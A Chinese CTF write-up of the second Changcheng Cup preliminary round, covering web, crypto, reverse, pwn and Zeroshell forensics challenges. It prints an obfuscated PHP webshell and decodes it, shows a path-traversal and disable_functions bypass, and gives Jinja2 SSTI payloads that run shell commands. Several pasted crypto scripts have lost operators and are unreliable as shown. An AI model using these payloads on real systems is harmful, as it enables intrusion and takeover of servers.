第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析

本文为第十八届全国大学生信息安全竞赛(创新实践能力赛)暨第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析,本文在撰写过程中,由于技术有限,也是参考了很多网上已经存在的解析和wp,并进行学习并借鉴,表示感谢,目前基本上能做出来的题,也都做了,其他一些题确实也是做不出来,问了很多人,查很多资料也没做出来,所以放弃。

队伍名称:幻城科技队

排名710名

队伍成员:单兵作战

那么在第一届长城杯的线下赛我也是写了相关的解析,需要的可以移步到这里来看2024第一届“长城杯”信息安全铁人三项赛线下决赛-取证溯源WP解析

Web1

来到主页可以发现一个base64编码得东西,正常都会觉得,,那么简单出flag了,赶紧给它解出来,结果发现,根本不是flag,是一英文,翻译过来之后意思是不是flag,当时我还不信个邪,我要提交一遍看看,提交之后,浪费一次机会(这个比赛一道题只有三次提交机会,没有啥试错成本,这个挺难受)
IMG_256
右键鼠标查看源代码打开源码发现了tips!
IMG_257
IMG_258
分别访问发现没啥用,还被嘲讽一波,我看见链接里面这里的../是不是被过滤了!我们可以使用 …/./ 来进行绕过,我最开始尝试是以为这个是路径穿越直接../../etc/passwd结果啥也没有,直到我尝试…/./才绕过成功,但是绕过成功也只不过是看见一个phpinfo这个页面
IMG_259
IMG_260
tips文件是一个phpinfo,这里禁用的函数特别多,基本能禁用的都禁用了,也是说,啥也不是,咋都没办法,我继续尝试用刚才那个…/./方法访问hacker.php这个文件,然后发现一大堆的代码,不对劲,这里的代码是不是有啥说法,我赶紧看看
IMG_261
=!

<?php  highlight_file(__FILE__);$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));?>

这个代码说白了,和一句话木马挺像,但是里面用了base64加密,这一类东西,我们在本地新建一个php文件,输入命令,php+文件名字可以把代码运行起来,或者直接用小皮面板搭建个环境直接echo eval函数执行的base64代码!

<?php 
highlight_file(__FILE__);

$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";

$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$n = str_split($lapUCm);

$YwzIst = $n[3] . $n[6] . $n[33] . $n[30]; // base
$OxirhK = $n[33] . $n[10] . $n[24] . $n[10] . $n[24]; // _64_64
$YpAUWC = $OxirhK[0] . $n[18] . $n[3] . $OxirhK[0] . $OxirhK[1] . $n[24]; // _deco64
$rVkKjU = $n[7] . $n[13]; // tr

$YwzIst .= $n[22] . $n[36] . $n[29] . $n[26] . $n[30] . $n[32] . $n[35] . $n[26] . $n[30]; // base64_decode

$hUcdhA = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$decodedString = base64_decode($hUcdhA);
$finalDecodedString = base64_decode(base64_decode($decodedString . str_repeat('=', strlen($decodedString) % 4)));

echo htmlspecialchars($finalDecodedString);
?>

 

IMG_262
得到变量$uWcdaA和eval执行的代码!

$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

我们继续修改代码!

<?php 
highlight_file(__FILE__);

$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";

$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$n = str_split($lapUCm);

$YwzIst = $n[3] . $n[6] . $n[33] . $n[30]; // base
$OxirhK = $n[33] . $n[10] . $n[24] . $n[10] . $n[24]; // _64_64
$YpAUWC = $OxirhK[0] . $n[18] . $n[3] . $OxirhK[0] . $OxirhK[1] . $n[24]; // _deco64
$rVkKjU = $n[7] . $n[13]; // tr

$YwzIst .= $n[22] . $n[36] . $n[29] . $n[26] . $n[30] . $n[32] . $n[35] . $n[26] . $n[30]; // base64_decode

$uWcdaA = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";

$decodedString = base64_decode($uWcdaA);
$finalDecodedString = base64_decode($decodedString);

echo htmlspecialchars($finalDecodedString);
?>

 

IMG_263 得到一串码,你猜是啥?我直接随波逐流解码base64
IMG_264
得到密码了,我们进行连接,使用蚁剑即可!
连接路径:

http://eci-2zed8l51f9k8f9ptch3w.cloudeci1.ichunqiu.com/index.php?file=…/./hackme.php

这里,我还得解释一下,这道题核心在于file文件读取,用这个东西来实现读取这个php文件,然后这个php文件里面内有木马,然后可以直接那个啥。

这里的hackme.php是我们要连接木马文件!
密码这一块要注意一下,下划线必须改成中括号,这个具体你们百度搜索一下,php低版本特性

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图9

差不多这个意思所以密码这一块要改成cmd[
IMG_267
拿到shell之后,发现,我文件也看不了,命令也执行不了,啥也不是,难受的一批,这个还记得最开始我们看到那个phpinfo吗?当时已经显示了,禁止了很多函数,也是说,很多东西用不了,自然也不能查看文件和执行命令,所以我们要想办法提权,或者绕过这个函数限制,在这里我怎么着都没做出来这个题 ,我一直想着有没有什么办法可以绕过这个玩意,然后正常看见文件,或者执行命令,但是是绕不过,之后是我比赛结束之后,看别人发的wp才明白因为最开始通过浏览器插件wapp这个插件能看见这个php版本是个低版本,低版本的话有方法绕过这个函数限制

蚁剑这个里面有一些低版本绕过,(我比赛的时候没想起来这个东西,或者说好像我的蚁剑没有装这个插件。
IMG_268
这是没绕之前的!
IMG_269
选择UserFilter,这个是针对php7版本的绕过插件,选择之后直接绕过,能拿到权限,正常执行命令和正常去看文件了。
IMG_270
发现,我们的命令可以成功执行了!
IMG_271

find / -name flag -type f 2>/dev/null

这个命令挺长,有时候记不住,那么其实我们可以用那个啥命令,grep的一个简单点的命令grep -rvh ‘flag’ 是这条命令,这个可以直接从根目录里面找具有flag字符串的文件,但是这个比较那个啥,乱,找出来的东西比较乱,还不精准,但是好在命令好记

find 命令搜一下flag即可!
IMG_272

Safe_ProxySafe_Proxy

IMG_256

这里给了源码,而且也给了waf代码,那么也是说,这个题是单纯的让绕过waf,起码到这里我们可以知道,这个题不难,但是也不简单,主要是这道题对于代码能力弱的,实在难受,我挺难受的,一直问ai当时我做题的时候,眼睁睁看着好几百个队伍都做出来了,但是我咋弄都做不出来,很离谱,难点主要在绕过过滤,绕过waf这块,还有这道题最开始我不知道让啥,光看着代码不停的问ai,才大概明白咋弄
IMG_257
过滤了下划线和常用函数和模块,
下划线的话我们使用 ‘+’ 可以绕过!常用函数和模块我们使用他们的替代品也是可以绕过的!
这里参数是code,通过post进行传参!这是前面一部分代码!!
然后代理服务器代码:

import socket
import threading

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                if not chunk:
                    break
                request_data += chunk

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

                header_end = response_data.find(b"\r\n\r\n")
                if header_end != -1:
                    headers = response_data[:header_end]
                    body = response_data[header_end + 4:]
                else:
                    headers = b""
                    body = response_data

                response_body = body
                response_headers = (
                    b"HTTP/1.1 200 OK\r\n"
                    b"Content-Length: " + str(len(response_body)).encode() + b"\r\n"
                    b"Content-Type: text/html; charset=utf-8\r\n"
                    b"\r\n"
                )
                response = response_headers + response_body

                client_socket.sendall(response)

        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(
                target=proxy_handler.handle_request,
                args=(client_socket,)
            )
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

 

这段代码实现了一个简单的HTTP代理服务器。它接收来自客户端的HTTP请求,转发给目标服务器,并将目标服务器的响应返回给客户端。以下是对代码的主要部分的解析:

HTTPProxyHandler 类:

__init__(self, target_host, target_target) 方法初始化代理处理器,设置目标服务器的主机名和端口号。

handle_request(self, client_socket) 方法处理来自客户端的请求:

它首先从客户端套接字读取所有数据直到没有更多数据为止(注意这里存在潜在的问题:对于长连接或chunked编码的HTTP请求,这个方法可能无法正确工作)。

如果收到的数据为空,则关闭客户端连接并结束方法。

创建一个新的套接字连接到目标服务器,并发送之前从客户端接收到的数据。

接着从目标服务器读取响应数据,直到没有更多数据为止。

试图找到HTTP响应头和体之间的分隔符(\r\n\r\n),以分离响应体。

构造一个200 OK的HTTP响应,包含内容长度和类型,然后发送回客户端。

在遇到任何异常时打印错误信息,并确保最后总是关闭客户端套接字。

start_proxy_server(host, port, target_host, target_port) 函数:

初始化一个 HTTPProxyHandler 实例。

创建一个监听指定主机和端口的TCP服务器套接字。

打印启动消息,表示代理服务器正在运行。

进入无限循环,等待客户端连接。

当有新的客户端连接时,接受该连接,并创建一个新线程来处理客户端请求。

设置线程为守护线程(daemon=True),这意味着主线程退出时,子线程也会被强制退出。

开始线程以异步方式处理每个客户端请求。

捕获键盘中断(如Ctrl+C),以便优雅地关闭服务器。

需要注意的是,这段代码有几个简化的地方,在实际应用中可能需要改进,比如:

对于持久连接(HTTP/1.1默认开启)的支持不足。

不支持HTTP的chunked传输编码。

没有处理HTTPS请求(SSL/TLS握手等)。

缺乏对HTTP协议更复杂的特性(如cookies、认证、缓存等)的支持。

错误处理较为简单,可能需要更详细的日志记录和错误恢复机制。

此外,直接操作低级别的socket编程可能会导致兼容性和安全性问题,因此在生产环境中通常建议使用成熟的库或框架(如Twisted, asyncio, 或者像Nginx这样的现成软件)来构建代理服务器。

接下来是启动代理服务器的函数start_proxy_server。
start_proxy_server函数创建一个代理处理器实例,并设置服务器套接字监听指定的主机和端口。当有客户端连接时,接受连接,打印连接地址,并为每个连接创建一个线程来处理请求。使用threading.Thread来处理每个客户端请求,设置线程为守护线程,这样主程序退出时,这些线程也会退出。最后,通过捕获KeyboardInterrupt来优雅地关闭服务器。

这个代理服务器是一个基本的HTTP代理,它不处理HTTPS流量,也不处理HTTP头部的修改或请求的缓存。在实际应用中,可能需要更复杂的逻辑来处理不同的HTTP方法、保持连接、处理 Cookies 等
IMG_258
这里,全部都是error,一直错误,是不回显,说白了,到这里,你要想办法搞才行,在这里,我卡了好久,最终还是没做出来后面也是比完之后看别人的wp才明白所以这个wp在撰写的时候,也只能参考别人的wp
IMG_259
改一下代码,在本地进行调试,这他回显了出来!
IMG_260

IMG_262
这里可以生成一个可以覆盖掉文件的那个啥

因为我们要覆盖app.py文件,所以我们要先查看flag的位置,所以我们先 ls / >app.py
生成了我们需要的payload:

{%set gl=’_’2+’globals’+’_’2%}{%set bu=’_’2+’builtins’+’_’2%}{%set im=’_’2+’i”mport’+’_’2%}{%set hz=’so'[::-1]%}{{cycler.next[gl][bu][im’p”open’.read()}}

IMG_267
然后我们访问主页!
IMG_268
可以看到flag在/目录下!
IMG_269
再次生成

python{%set gl=’_’2+’globals’+’_’2%}{%set bu=’_’2+’builtins’+’_’2%}{%set im=’_’2+’i”mport’+’_’*2%}{%set hz=’so’::-1]%}{{cycler.next[gl][bu][im’p”open’.read()}}

IMG_270
IMG_271

或者直接用Unicode编码进行绕过也是可以的!

{%print((((lipsum|attr(“\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f”))|attr(“\u0067\u0065\u0074”)(“\u006f\u0073”))|attr(“\u0070\u006f\u0070\u0065\u006e”)(“cat%20%2Fflag%20%3E%20app.py”))|attr(“\u0072\u0065\u0061\u0064”)())%}

Crypto

0x00 rasnd

题目:

0from Crypto.Util.number import getPrime, bytes_to_long from random import randint import os

FLAG = os.getenv("FLAG").encode() flag1 = FLAG[:15] flag2 = FLAG[15:]

def crypto1():

p = getPrime(1024)

q = getPrime(1024)

n = p q

e = 0x10001

x1=randint(0,211)

y1=randint(0,2114)

x2=randint(0,211)

y2=randint(0,2514)

hint1=x1p+y1q-0x114

hint2=x2p+y2q-0x514

c = pow(bytes_to_long(flag1), e, n)

print(n)

print(c)

print(hint1)

print(hint2)

def crypto2():

p = getPrime(1024)

q = getPrime(1024)

n = p q

e = 0x10001

hint = pow(514p - 114q, n - p - q, n)

c = pow(bytes_to_long(flag2),e,n)

print(n)

print(c)

print(hint) print("==================================================================") crypto1() print("==================================================================") crypto2() print("==================================================================")

 

flag分为两部分,第一部分用4个随机数与p,q组成了两个等式,我们要利用这两个等式求出p,q来解第一部分的flag,我们知道hint1 和 hint2 是与 p 和 q 相关的线性组合,hint1=x1_p+y1_q-0x114 hint2=x2_p+y2_q-0x514,这两个等式可以表示为hint1=x1⋅p+y1⋅q+C1,hint2=x2⋅p+y2⋅q+C2,其中C1 和 C2 是常数,根据数论的性质,如果 a 和 b 是两个整数,且 d=gcd⁡(a,b)那么d 也是 a 和 b 的任何线性组合的因子,这意味着:如果我们能够构造出两个: k 和 w 的线性组合,使得包含 p 或 q 的因子,这里需要爆破,那么gcd(k−w,n) 将会返回一个因子,这里我假设返回的是n的一个因子,后面发现还真的是。nc获取数据: IMG_256 第一部分解密脚本:

from tqdm import trange from gmpy2 import gcd, is_prime, invert as inverse from Crypto.Util.number import long_to_bytes # 给定参数 n = 18088011671538976982165525440386623289385114080576725768019061415671826851943445221226512589098669346404026374951858999387217508024789211498259452109214556714912857033124082966625646395283686312524015320926512455915546499413478756620357509821566076816579297882375786426816605611526775168996549051600931509019387185312619492222782269305011713051789911005317468583129891804202627825567966747213383425120088700132546120060985737910313952154697082271457880737295887007466461730433266268402482331178579951103721119735101467400195497116119485338923706700491486973150788317315356357101151829456342562867587099598945192815263 c = 967226129204917951053993612148568373205079862347935579447289322164251130080028033528045437894300291916080267724536027542448452801315926195449374299867730952967379065405709171407526216231849467071473009201505938328199546950734432233963318338833277860485291004640224485604852449261612700939273565758861634818016573793902448327240446569173650095199847516720742422035420703332879678233501847632759411967155131147770130316367061785349632067365788362455466942159302060492147587559320715926280873207029420395750055202639374682706327888026109861279966152066895569848791223114397562133543690771564722708438398302054378748382 hint1 = 1876377888814200677442129576675996706468631990804911325305925446297494237080972549459539078790790063918048118238573069981792229335343412599922437368079227142591323977848118125493649176850872826534420257631894221784255713060216558942913054972531098351649650098921170981304230776828706602102714925788415307347441588418154129396919337838110092813 hint2 = 4577144295703606484123914611409444377581187954194894627593999949721725631702229741058762926738731162033453968685003890648825426935166041938739780782092132921278035040699628683026895248136976510810097939718444896419804529003179001092641108224659396765795452144064815761341321104087246151217134879547607066758663682702357666390897071886395518123041544718060193617760547848107588540156504758935787543246553706035451249171216368368607224982935938619089301863944851318 e = 65537 # 搜索可能的 p 和 q for i in trange(211): for w in range(211): k = hint1 + 0x114 * i w = hint2 + 0x514 * w l = gcd(k - w, n) # 如果找到非平凡因子并且它是素数,则认为找到了p if l != 1 and l != n and is_prime(l): p = l q = n // p # 验证是否正确分解了 n if p * q == n: phi_n = (p - 1) * (q - 1) d = inverse(e, phi_n) # 解密消息 m = pow(c, d, n) print(long_to_bytes(m).decode()) break

 

0x01 fffffhash

自定义哈希函数 giaogiao

python

深色版本

def giaogiao(hex_string): base_num = 0x6c62272e07bb014262b821756295c58d x = 0x0000000001000000000000000000013b MOD = 2*128 for i in hex_string: base_num = (base_num * x) & (MOD – 1) base_num ^= i return base_num

  • base_num: 初始值为 0x6c62272e07bb014262b821756295c58d。
  • x: 常数乘子 0x0000000001000000000000000000013b。
  • MOD: 模数 2*128(注意这里的写法有误,应该是 2**128)。
  • 循环过程:
    • 对于输入的每个字节 i,先将 base_num 乘以 x 并取模 MOD。
    • 然后对结果进行异或操作,异或的对象是当前字节 i。

主程序逻辑

python

深色版本

giao = 201431453607244229943761366749810895688 print(“1geiwoligiaogiao”) hex_string = int(input(), 16) s = long_to_bytes(hex_string)

if giaogiao(s) == giao: print(os.getenv(‘FLAG’)) else: print(“error”)

  • giao: 预定义的目标哈希值。
  • 用户输入: 接受一个十六进制字符串作为输入,并将其转换为字节数组 s。
  • 验证: 调用 giaogiao(s) 计算哈希值,并与 giao 进行比较。如果相等,则输出环境变量 FLAG 的值;否则输出 “error”。

解密思路

由于直接爆破几乎不可能成功,因此采用了矩阵运算和 BKZ 算法来求解。以下是解密脚本的核心步骤:

初始化参数

python

深色版本

key = 0x6c62272e07bb014262b821756295c58d p_value = 0x0000000001000000000000000000013b limit = 2 ** 128 # 模数wpk_value = 201431453607244229943761366749810895688 # 目标值n = 20 # 矩阵的维度

  • key: 初始值 base_num。
  • p_value: 常数乘子 x。
  • limit: 模数 2**128。
  • wpk_value: 目标哈希值 giao。
  • n: 矩阵的维度。

构建矩阵 M

python

深色版本

M = Matrix.column([p_value**(n – i – 1) for i in range(n)] + [-(wpk_value – key * p_value ** n), limit])M = M.augment(identity_matrix(n + 1).stack(vector([0] * (n + 1)))) # 增广矩阵Q = Matrix.diagonal([2**256] + [2**8] * n + [2**16]) # 对角矩阵M = Q * M # 矩阵乘法M = M.BKZ() # 应用 BKZ 算法M /= Q # 归一化

  • 矩阵构造: 构造了一个列向量矩阵 M,其中包含了 p_value 的幂次及其与目标值的关系。
  • 增广矩阵: 将单位矩阵和零向量附加到矩阵 M 上,形成增广矩阵。
  • 对角矩阵: 创建一个对角矩阵 Q,用于后续的矩阵变换。
  • BKZ 算法: 应用 BKZ 算法来寻找矩阵中的短向量,从而得到可能的解。
  • 归一化: 通过除以对角矩阵 Q 来恢复原始矩阵形式。

寻找有效解

python

深色版本

for row in M: if row[0] == 0 and abs(row[-1]) == 1: row = row[-1] valid_solution = row[1:-1] break

  • 遍历矩阵: 遍历矩阵 M 中的每一行,寻找满足特定条件的行。
  • 条件判断: 如果第一列为 0 且最后一列的值为 1,则认为找到了有效解。
  • 提取解: 提取出有效的解向量 valid_solution。

计算答案

python

深色版本

answers = [] # 存储答案y_value = int(key * p_value) t_value = (key * p_value ** n + valid_solution[0] * p_value ** (n – 1)) % limit # for i in range(n): for x in range(256): y_temp = (int(y_value) ^ int(x)) * p_value ** (n – i – 1) % limit # 计算 y_temp if y_temp == t_value: answers.append(x) if i < n – 1: t_value = (t_value + valid_solution[i + 1] * p_value ** (n – i – 2)) % limit y_value = ((int(y_value) ^ int(x)) * p_value) % limit # 更新 y breakprint(bytes(answers).hex())

  • 初始化: 初始化 answers 数组存储最终的答案。
  • 计算中间值: 计算 y_value 和 t_value。
  • 双重循环: 外层循环遍历每一位,内层循环尝试所有可能的字节值 x。
  • 条件判断: 如果 y_temp 等于 t_value,则将 x 添加到 answers 中。
  • 更新状态: 根据当前解更新 t_value 和 y_value。
  • 输出结果: 最终将 answers 转换为十六进制字符串并打印出来。

结果得到:1df2006d2e3362153d001f53102a7c2a0a591516,输入这个可以得到flag IMG_275

到了逆向和pwn这块,我想着做出来一两道题行,但是遗憾的是,一道也没做出来,是有那么一道题,我感觉不是特别难,是做不出来,不过我比赛之后看了别人的wp,又觉得自己行了,感觉又无敌了,这里我拿别人的wp看看吧。

d IMG_256

有此可见这是一个加密程序

加密数据

IMG_257

直接选择爆破

IMG_258 IMG_259

得到结果后按照这个改一下行

IMG_260

ezCsky

是一个RC4与与异或这里的知识点我还是可以稍微讲了一下的,rc4是一种加密算法RC4算法主要由两个部分组成:密钥调度算法(KSA, Key Scheng Algorithm)和伪随机生成算法(PRGA, Pseudo-Random Generation Algorithm)。KSA用于初始化一个256字节的状态向量,而PRGA则根据这个状态向量产生一个伪随机字节序列,该序列与明文逐字节进行异或操作以生成密文。。

IMG_261

找到密文

IMG_262

然后在main函数中找到了key然后可以解密

def KSA(key): """Key-scheng algorithm (KSA)""" key_length = len(key) S = list(range(256)) # Initialize state array j = 0 for i in range(256): j = (j + S[i] + key[i % key_length]) % 256 S[i], S[j] = S[j], S[i] # Swap values return S def PRGA(S, text_length): """Pseudo-random generation algorithm (PRGA)""" i = 0 j = 0 keystream = [] for _ in range(text_length): i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] # Swap values K = S[(S[i] + S[j]) % 256] keystream.append(K) return keystream def RC4(key, plaintext): """RC4 encryption and decryption function""" S = KSA(key) keystream = PRGA(S, len(plaintext)) # Convert plaintext to a list of ASCII values and XOR with the keystream result = [chr(a ^ b) for a, b in zip([ord(c) for c in plaintext], keystream)] return ''.join(result) # Example usage: if __name__ == "__main__": # Key must be provided as a sequence of bytes or string key = "SecretKey" # Replace with your secret key # Encrypted data should be provided as a string of characters encrypted_data = "your_encrypted_string_here" # Replace with your actual encrypted data # Decrypt the data decrypted_data = RC4(key, encrypted_data) print("Decrypted Data:", decrypted_data)

 

XOR

Xor你看题目应该知道这个题考的啥,xor意思是异或,知识点是考的异或的知识点当且仅当两个输入不相同时,异或运算的结果为1。

如果两个输入相同,则结果为0。

IMG_263

是倒序的前⼀位与后⼀位异或然后照着这点可与进行分析

IMG_264

Pwn部分题解

anote

首先看一下

IMG_265

发现开启了 nx 和 canary

IMG_266

发现是小端序的,那再去看看main函数

IMG_267

这里发现是c++写的,然后去看804895c里面

IMG_268

发现是输出的菜单

IMG_269

然后发现这里读取一个整数到 v22

IMG_270

然后会根据用户的输入进行相应的执行,是个菜单模式

IMG_271

等于1的时候可以去分配一个新的内存

IMG_272

等于2的时候会检查输入是否有效,无效会输出错误信息退出

IMG_273

等于3检查输入是否有效,然后会输出 index,读取新的内容,并且会检查输入长度是否超 过40

IMG_274

当v23超过9 的时候会退出。

IMG_275 IMG_276

同时这里还发现了后门函数,而且同时题目会泄露一个地址,那么好办了。这里主要是去越 界修改第二个堆块的地址,修改成指向后门函数的地址

IMG_277 IMG_278

最后去编辑第二个堆块为指向后门函数的地址

Zeroshell1

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图52

追踪tcp流

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图53

Refer好像是base64

这个题主要难点是,你必须找到攻击者的那个流量包,别的流量包不行,然后攻击者的那个流量包,只有两三个,几十万个流量包里面,找到攻击者的那俩三个,而且那道题的题目它一直有误导性,而且老是没想到把这个refer这个方面考虑,我以为他是公鸡头或者说从鸡尾或哪块更或者说是传输的数据包里面有flag,结果flag是refer这个,正常贝斯是后面是带两个等于号,这个没有带,所以从一开始到后面我一直是没有,不注意到这个,后面我实在是没找到,看着这个数据包里面有命令执行的内容,看这个refer越看越不对劲,我寻思会不会是某种编码,用解码工具解了一下,解出来这个flag了,这个解码工具也挺聪明,他默认会把这个东西加上后面的两个等号来进行解了,一些解码工具,比如说你用linux自带的命令来解,比如base64命令encode base64或者用那个bp工具进行解码,不加等号根本不会给你解出来。

直接解码

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图54

解出来flag

Zeroshell2

这道题说起来也蹊跷,因为它这个是给了我们一个本地的虚拟机文件,然后让我们进行应急响应的,但是他并没有给账号和密码,而且他还不是linux,是一个防火墙的镜像,是说你用正常的方法去破解,比如说那个linux开机按e那个方法,根本不行,你怎么着都解不了,没法正常进去,后面我看网上的wp,我才知道,是他这个是让你通过第一道题,你数据包里面发现了那些东西,然后站在本地虚拟机里面,给他配上一个ip,通过ip访问,利用那个漏洞进行攻击,然后获取到他的flag,当时我也考虑到了这一点,但是我虚拟机都进不去,我也不知道他ip到底是多少,后面是看网上的wp,才知道你必须得给他配上这个61开头的ip才行,是刚才在那个数据包取证的时候,找到的那个ip必须配那个ip,别的ip还不行。

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图55

是通过这里这个网络编辑器通过这里编辑,因为你虚拟机你是进不去的,所以你直接通过这里编辑,而且也只能通过这里编辑。一开始我也没有想到他是这么一个整法。

但是后来我想了一想,我是不是可以使用一些磁盘恢复工具,把这个vmdk当成虚拟磁盘挂载然后找flag,说干干

使用disk磁盘恢复工具,打开虚拟硬盘文件

ce20f81be45cbd3d766c606290c77b8

然后使用这个工具对他进行一个全面的数据恢复,然后找到flag了。看见flag,然后打开有了

这前几天我也说了,这个工具有的时候确实有说法,像这种题是给了你虚拟机文件的,我都可以用这个工具,真的是理屡试不爽

zeroshell_3

这道题我当时没做出来,为啥呢?因为当时我没研究赛程文件,不知道这个题是让自己配个ip然后直接虚拟机能访问的,然后,第二题我是通过disk工具找到的,第三题,我直接傻眼了,后面也是看别人发的wp才基本明白。

通过zeroshell1这道题,看数据包的时候,找到了命令执行的地方

IMG_256

这个数据包的链接,其实也是告诉了我们如何去构造poc,这道题是自己把应急相应部署到虚拟机,再自己配ip,然后对这个靶机进行攻击,执行命令,做出来应急响应的题,这一点有的时候让人很无语的,我根本没想到这个

找到了前面的命令

IMG_257

直接到环境中,也是可以用的

IMG_258

IMG_259

IMG_256

用这个方法去执行命令

IMG_257

这里直接使用netstat命令然后能找到外联可疑IP

zeroshell_4
IMG_258

这里可以去看一下 使用该漏洞的poc进行命令执行,刚才我们通过那个特征大概知道这个是个什么漏洞,我们从网上可以了解到这个漏洞是啥

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图64

IMG_259

我们利用这个漏洞对本地虚拟机刚刚部署的这个zeroshell进行攻击执行命令能找到pid

IMG_260

这里可以找到文件 把这个提交行

flag{.nginx}

zeroshell_5

IMG_261

这里把那个文件给拿下来分析可以 ,这时候你会发现,根本没办法拿下这个文件,根本下载不了,这咋办,但是这个题是要求的逆向分析然后拿到这个题的,你现在拿不到东西咋办

IMG_262

这里因为没办法直接下载,使用xxd命令xxd命令可以直接看16进制i查看 .nginx 文件的16进制,然后可以保存下来,这 里去反编译一下拿下来的文件

IMG_263

这里发现这一个比较可疑,而且有一定规律,发现这个是密钥

flag{11223344qweasdzxc}

zeroshell_6

IMG_264

通过grep命令去找含有后门文件地址内容的文件

IMG_265

然后在这里去查看这个文件的内容,发现确实是启动项文件

IMG_266

 flag{/var/register/system/startup/scripts/nat/File}

Winft_1

这道题有好几个思路,这道题的题目是让找木马文件,在win系统里面找,最后提交的答案是木马文件,和网络链接的ip和端口还有这个木马的域名

一般,我们肯定要先看看所有进程,然后看看所有网络链接,分析一下有没有什么异常进程或者异常网络链接,这道题因为是联网的,所以我直接下载了360还有火绒剑网络分析工具

那么如果不联网的情况下,还不能安装软件的情况下怎么办?如果是不连网的话,大家可以用win自带的资源管理器,然后看进程,至于看网络连接,cmd有个专门的命令可以看,如果在极端情况下,是只能用cmd命令行,连个图形界面都没有,那么 第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图73 这个命令派上用场了,netstat

